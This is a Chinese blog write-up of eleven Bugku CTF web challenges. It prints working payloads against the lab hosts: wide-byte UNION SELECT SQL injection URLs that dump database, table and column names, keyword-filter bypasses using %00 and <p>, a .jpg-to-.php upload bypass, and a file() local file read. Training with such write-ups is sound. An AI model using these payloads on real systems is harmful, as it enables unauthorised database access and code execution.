ctf

bugku-web-writeup

2017-12-13  本文已影响495人  Sec小玖

1.web基础$_GET

writeup:

输入http://120.24.86.145:8002/get/?what=flag,得到flag

2.web基础$_POST

writeup:

使用火狐浏览器插件hackbar中的 PostData,发送post数据,得到flag

3.矛盾

writeup:

is_numeric—检测变量是否为数字或数字字符串,首先匹配第一个if需要输入一个字符串,匹配第二个if需要满足==1,输入 1x66。

4.web2

writeup:

审查元素,找到flag

5.文件上传测试

writeup:

上传.jpg图片文件,使用burpsuite进行拦截,发送到repeater,将.jpg更改为.php,上传得到flag

6.计算题-随机数字运算验证码

使用firebug查看源代码,发现文本框限制了输入的长度为1,直接修改maxlength值,输入答案即可得到flag

7.web3

writeup:

阻止此页面创建更多对话框,查看网页源代码

使用firebug控制台,document.write("")进行解码输出,得到flag

8.sql注入

查看网页源代码,发现采用gb2312进行编码,考虑宽字节注入,使用%df+%27

成功报错,随后进行注入

(1)确定列数,列数为2列

http://103.238.227.13:10083/?id=1%df' order by 2 %23          //正常

http://103.238.227.13:10083/?id=1%df' order by 3 %23          //报错

(2)爆数据库名

http://103.238.227.13:10083/?id=-1%df' union select 1,database() %23

http://103.238.227.13:10083/?id=-1%df' union select 1,group_concat(schema_name) from information_schema.schemata %23

(3)爆破表名

http://103.238.227.13:10083/?id=1%df%27 union select 1,table_name from information_schema.tables %23

发现key表

(4)爆列名

http://103.238.227.13:10083/?id=1%df%27 union select 1,column_name from information_schema.columns %23

发现string 和key两列。最后发现key既是列名又是表名会产生冲突,用 ` 来包含住表名 `key` 表示表。

http://103.238.227.13:10083/?id=-1%df%27 union select 1,string from `key` where id=1 %23

得到flag

另外,也可以使用sql5.key替代`key`,实现同样的效果,得到flag。

http://103.238.227.13:10083/?id=-1%df%27 union select 1,string from sql5.key where id=1%23

9.SQL注入1

输入 and 1=1,发现and关键字被过滤了,经过尝试发现or,union,select等array数组中的都被过滤了。

使用双写andand,anandd,等发现都被过滤了,从大牛的writeup中学习到了,重点关注这个XSS过滤函数,

strip_tags该函数尝试返回给定的字符串$id去除空字符、HTML 和 PHP 标记后的结果。

尝试常用的空字符“%00”,HTML标签“<p>”等,发现绕过成功。

http://103.238.227.13:10087/?id=1 a%00nd 1=1

http://103.238.227.13:10087/?id=-1 un<p>ion sel<p>ect 1,2%23

(1)爆列名

http://103.238.227.13:10087/?id=1 o%00rder by 2 %23

http://103.238.227.13:10087/?id=1 o<p>rder by 2 %23

http://103.238.227.13:10087/?id=1 o%00rder by 3 %23,返回结果为空,确定为2列

(2)爆数据库名

http://103.238.227.13:10087/?id=-1 uni%00on s%00elect 1,database() %23

(3)爆字段值

http://103.238.227.13:10087/?id=-1 uni%00on s%00elect 1,hash fro%00m sql3.key %23,得到flag

10. 你必须让他停下

打开页面,页面中js自动刷新,根据题目意思是,要让界面停止刷新,所以我们可以使用burf1.7.26工具进行页面拦截,然后使用repeater中的go功能,来一次一次的浏览页面,若干次go之后,在HTML标签中得到flag。

11.本地包含

方法1:直接输入?hello=file("flag.php"),通过file使其以数组形式返回然后利用var_dump输出,所以直接输入

?hello=file("flag.php")
使其前端输出即可得到flag
上一篇下一篇

猜你喜欢

热点阅读